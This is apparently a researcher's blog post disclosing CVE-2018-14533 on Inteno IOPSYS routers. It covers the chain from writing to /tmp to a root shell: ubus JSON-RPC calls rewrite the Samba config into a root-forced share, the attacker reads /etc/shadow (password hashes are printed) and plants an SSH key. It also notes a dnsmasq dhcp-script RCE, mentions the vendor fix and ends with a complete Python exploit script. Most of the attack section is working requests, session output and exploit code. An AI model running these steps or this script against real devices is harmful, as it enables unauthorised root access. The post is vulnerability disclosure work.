From writing to /tmp to a root shell on Inteno IOPSYS

In this blog post, I describe how multiple safe features and configurations can be used to gain full filesystem read-write access - and a root shell - on devices running Inteno's IOPSYS as an authenticated user. This issue has been assigned the CVE ID: CVE-2018-14533.

I've written reports for vulnerabilities on Inteno's devices before (1, 2, 3, 4). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.

This time, I tried having a look at the "safe" methods to read and write files from and to /tmp. These functions exist in the file namespace and are called read_tmp and write_tmp. There used to be functions simply named read and write as well, however, after I demonstrated that these are insecure as they grant full access to the filesystem, they were restricted to the admin user and these new ones were created so the user account could still write and read some files.

Here's how some example usage might look like:

> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/test", "data": "hello"}], "id": "0"}
< {"jsonrpc": "2.0", "id": "0", "result": [0]}
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "read_tmp", {"path": "/tmp/test"}], "id": "1"}
< {"jsonrpc": "2.0", "id": "1","result": [0, {"data": "hello"}]}

They are "safe" as you can't use them to read-write anywhere but /tmp, are secure against path traversal, etc. There's nothing necessarily wrong with these functions - the vulnerability only occurs because of a peculiarity of OpenWRT/LEDE, on which IOPSYS is based.

To describe this shortly: Do you see something irregular in the output of ls -l / on the device?

root@Inteno:~# ls -l /
-rw-rw-r--    1 root     root             0 May 22 15:51 base-iopsys
drwxr-xr-x    3 root     root          4376 May 22 20:19 bin
drwxr-xr-x    5 root     root          6000 May 22 20:21 dev
drwxr-xr-x    1 root     root          1808 May 22 20:22 etc
drwxr-xr-x    3 root     root           224 Jun 18 21:19 home
drwxr-xr-x    1 root     root           224 May 22 20:21 lib
drwxrwxrwt    2 root     root            40 Jan  1  1970 mnt
drwxr-xr-x    7 root     root           480 Jun 18 21:19 overlay
dr-xr-xr-x  116 root     root             0 Jan  1  1970 proc
drwxrwxr-x   16 support  1002          1192 Jan  1  1970 rom
drwxr-xr-x    2 root     root           160 May 22 19:37 root
drwxr-xr-x    2 root     root          6304 May 22 20:19 sbin
dr-xr-xr-x   12 root     root             0 Jan  1  1970 sys
drwxrwxrwt   29 root     root          1220 Jul 21 15:22 tmp
drwxr-xr-x    1 root     root           288 May 22 20:18 usr
lrwxrwxrwx    1 root     root             4 May 22 20:19 var -> /tmp
drwxr-xr-x    1 root     root           296 May 22 20:22 www

If you spotted it, you might already know where this is going.

OpenWRT devices are usually quite low on storage. The operating system is stored in non-volatile memory, usually on a filesystem with just enough space to fit the operating system, and /tmp is stored as a tmpfs filesystem, which is volatile (i.e. stored on RAM). For reasons, /var is symlinked to /tmp. This means that everything created in /var gets dumped to /tmp - same for reading files. Evidently, some configuration files are also stored in /var. An example of this is the Samba daemon, which lets the user create shares on the device using the admin panel.

The panel for configuring Samba

The Samba configuration itself is stored as /tmp/etc/smb.conf. We can read this using file:read_tmp:

> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "read_tmp", {"path": "/tmp/etc/smb.conf"}], "id": "2"}
< {"jsonrpc": "2.0", "id": "2", "result": [0, {"data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = nobody\n\tinvalid users = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = \n\tbind interfaces only = yes\n\twide links = no\n"}]}

We can see that the configuration looks like this by default:

[global]
	netbios name = IntenoSMB 
	workgroup = IntenoSMB
	server string = IntenoSMB
	syslog = 10
	encrypt passwords = true
	passdb backend = smbpasswd
	obey pam restrictions = yes
	socket options = TCP_NODELAY
	unix charset = UTF-8
	preferred master = yes
	os level = 20
	security = user
	guest account = nobody
	invalid users = root
	smb passwd file = /etc/samba/smbpasswd
	interfaces = 
	bind interfaces only = yes
	wide links = no

If we tell Samba to listen on an interface (essentially enabling it) and adding an "Example" share with guest access, the configuration looks like this:

[global]
	netbios name = IntenoSMB 
	workgroup = IntenoSMB
	server string = IntenoSMB
	syslog = 10
	encrypt passwords = true
	passdb backend = smbpasswd
	obey pam restrictions = yes
	socket options = TCP_NODELAY
	unix charset = UTF-8
	preferred master = yes
	os level = 20
	security = user
	guest account = nobody
	invalid users = root
	smb passwd file = /etc/samba/smbpasswd
	interfaces = 192.168.1.1/24 br-lan 
	bind interfaces only = yes
	wide links = no

[Example]
	path = /mnt
	read only = no
	guest ok = yes
	create mask = 0700
	directory mask = 0700

We can connect to our new share using smbclient:

$ smbclient //192.168.1.1/Example -U%
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan  1 03:00:11 1970
  ..                                  D        0  Mon Jun 18 22:19:01 2018

		64 blocks of size 1024. 64 blocks available

Let's see what happens if we change the configuration file to add our own share with the path set to /:

> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = nobody\n\tinvalid users = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700"}], "id": "3"}
< < {"jsonrpc": "2.0", "id":"3", "result": [0]}

If we try connecting to the share and doing ls:

$ smbclient //192.168.1.1/pwn -U%    
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jun 18 22:19:01 2018
  ..                                  D        0  Mon Jun 18 22:19:01 2018
  bin                                 D        0  Tue May 22 21:19:35 2018
  dev                                 D        0  Sat Jul  7 15:42:58 2018
  etc                                 D        0  Sat Jul  7 15:42:58 2018
  lib                                 D        0  Tue May 22 21:21:51 2018
  mnt                                 D        0  Thu Jan  1 03:00:11 1970
  rom                                 D        0  Thu Jan  1 03:00:05 1970
  tmp                                 D        0  Sat Jul 21 17:32:38 2018
  sys                                DR        0  Thu Jan  1 03:00:02 1970
  var                                 D        0  Sat Jul 21 17:32:38 2018
  usr                                 D        0  Tue May 22 21:18:15 2018
  www                                 D        0  Sat Jul  7 15:43:10 2018
  proc                               DR        0  Thu Jan  1 03:00:00 1970
  sbin                                D        0  Tue May 22 21:19:36 2018
  root                                D        0  Tue May 22 20:37:56 2018
  base-iopsys                         N        0  Tue May 22 16:51:41 2018
  overlay                             D        0  Mon Jun 18 22:19:01 2018
  home                                D        0  Mon Jun 18 22:19:01 2018

		49084 blocks of size 1024. 16592 blocks available

Great! We can see the directory listing. Can we read sensitive files, like /etc/shadow?

smb: \> get /etc/shadow -
NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow

The access is denied. Upon further inspection of the configuration file, this makes sense - we're connecting as the guest user and the config file has the following set:

guest account = nobody
invalid users = root

What if we modify the config to set the guest account to root and remove the invalid users line?

> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700"}], "id": "4"}
< {"jsonrpc": "2.0", "id": "4", "result": [0]}

Reconnecting and trying again:

$ smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> get /etc/shadow -
NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow

Still not working. Seems like the daemon doesn't want to let the guests connect as root, which is expected. However, the Samba configuration documentation lists an interesting configuration option you can set on shares:

force user (S)
This specifies a UNIX user name that will be assigned as the default user for all users connecting to this service. This is useful for sharing files. You should also use it carefully as using it incorrectly can cause security problems.

So let's modify the config once more to force all connecting users to log in as root:

> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700\n\tforce user = root"}], "id": "5"}
< {"jsonrpc": "2.0", "id": "5", "result": [0]}
smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> get /etc/shadow -
root:$1$hixkj06D$465iCCMxkKbE6OW9NbcOV1:0:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
admin:$1$w5plvxdZ$BtjmHfRk9wraLxKP3ufpV1:16570:0:99999:7:::
user:$1$pO./q6.f$E514ioZkW9si4WaUMvBfW/:16570:0:99999:7:::
support:$1$zUDyoAfn$nv/bvwS3Wl8MsDu98gsqi0:16570:0:99999:7:::
ice:$1$trxjeBww$BQBpPZjKX9JizO9bzZrl41:17673:0:99999:7:::
getting file \etc\shadow of size 388 as - (31.6 KiloBytes/sec) (average 31.6 KiloBytes/sec)

Looks like we can read /etc/shadow now, indicating that we have full access to the filesystem as root.

We can do pretty much everything now. As an easy example, we can drop an SSH key on the device and SSH in as root:

smb: \> put /home/nns/.ssh/id_dsa.pub /etc/dropbear/authorized_keys
putting file /home/nns/.ssh/id_dsa.pub as \etc\dropbear\authorized_keys (41.3 kb/s) (average 41.3 kb/s)
smb: \> ^C

$ ssh root@192.168.1.1           

BusyBox v1.23.2 (2018-05-22 19:37:59 CEST) built-in shell (ash)

   ________  ___  ______  ______
  /  _/ __ \/ _ \/ __/\ \/ / __/
 _/ // /_/ / ___/\ \   \  /\ \  
/___/\____/_/  /___/   /_/___/  

Inteno Open Platform System (IOPSYS)
IOP Version: DG400-WU7U_INT3.15.1BETA2-180522_2021
OpenWrt Base: Chaos Breaker (14.07/15.05)
BrcmRef Base: 4.16L.05
------------------------------------
root@Inteno:~# 

Of course, abusing the Samba configuration is just one way to exploit this vulnerability. The vulnerability can be used for other attacks as well - for example, you can include dhcp-script=/tmp/evil_script.sh in /tmp/etc/dnsmasq.conf for RCE as root, or cause DoS attacks by malforming important PID and lock files, among other things.

How can this be fixed? The obvious fix is to not let the user write to anywhere on the filesystem - however, this would break features that depend on this functionality, so that's not very practical. If writing to the filesystem is still important, how about limiting it to a directory in /tmp (for example /tmp/userfiles) and restricting access to that directory? That would ensure that the user doesn't have access to any additional, potentially dangerous files. UPDATE: The vendor has applied a fix, and all files are now stored in /tmp/juci. Furthermore, the names of the calls were changed from read_tmp and write_tmp to read_tmp_juci and write_tmp_juci respectively.

I've also written a proof of concept script in Python, which you can find below. It requires Python 3, a module called websocket-client which you can install by evoking pip install websocket-client and the Unix tool smbclient. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I've written for IOPSYS devices.

#!/usr/bin/env python3

# Usage: cve-2018-14533.py <ip> <username> <password> <ssh key file>
# Details: https://neonsea.uk/blog/2018/07/21/tmp-to-rce.html

import json
import sys
import subprocess
import socket
import os
from websocket import create_connection


def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [
                "00000000000000000000000000000000",
                "session",
                "login",
                {"username": username, "password": password},
            ],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        key = response.get("result")[1].get("ubus_rpc_session")
    except IndexError:
        return None
    return key


def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [key, namespace, argument, params],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        result = response.get("result")[1]
    except IndexError:
        if response.get("result")[0] == 0:
            return True
        return None
    return result


def getArguments():
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <ip> <username> <password> <ssh key file>")
        sys.exit(1)
    else:
        return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]


if __name__ == "__main__":
    host, user, pasw, keyfile = getArguments()
    conf = f"""[global]
	netbios name = IntenoSMB 
	workgroup = IntenoSMB
	server string = IntenoSMB
	syslog = 10
	encrypt passwords = true
	passdb backend = smbpasswd
	obey pam restrictions = yes
	socket options = TCP_NODELAY
	unix charset = UTF-8
	preferred master = yes
	os level = 20
	security = user
	guest account = root
	smb passwd file = /etc/samba/smbpasswd
	interfaces = {host}/24 br-lan 
	bind interfaces only = yes
	wide links = no

[pwn]
	path = /
	read only = no
	guest ok = yes
	create mask = 0700
	directory mask = 0700
	force user = root
"""

    with open(keyfile, "r") as f:
        sshkey = f.read()

    print("Authenticating...")
    key = ubusAuth(host, user, pasw)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Dropping evil Samba config...")
    ltc = ubusCall(
        host, key, "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": conf}
    )
    if not ltc:
        print("Failed to write evil config!")
        sys.exit(1)

    print("Creating temp file for key...")
    with open(".key.tmp", "a+") as file:
        file.write(sshkey)
        path = os.path.realpath(file.name)

    print("Dropping key...")
    subprocess.run(
        "smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(
            r"\\\\" + host + r"\\", path
        ),
        shell=True,
        check=True,
    )
    print("Key dropped")

    print("Cleaning up...")
    os.remove(path)

    print('Exploitation complete. Try "ssh root@%s"' % host)

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.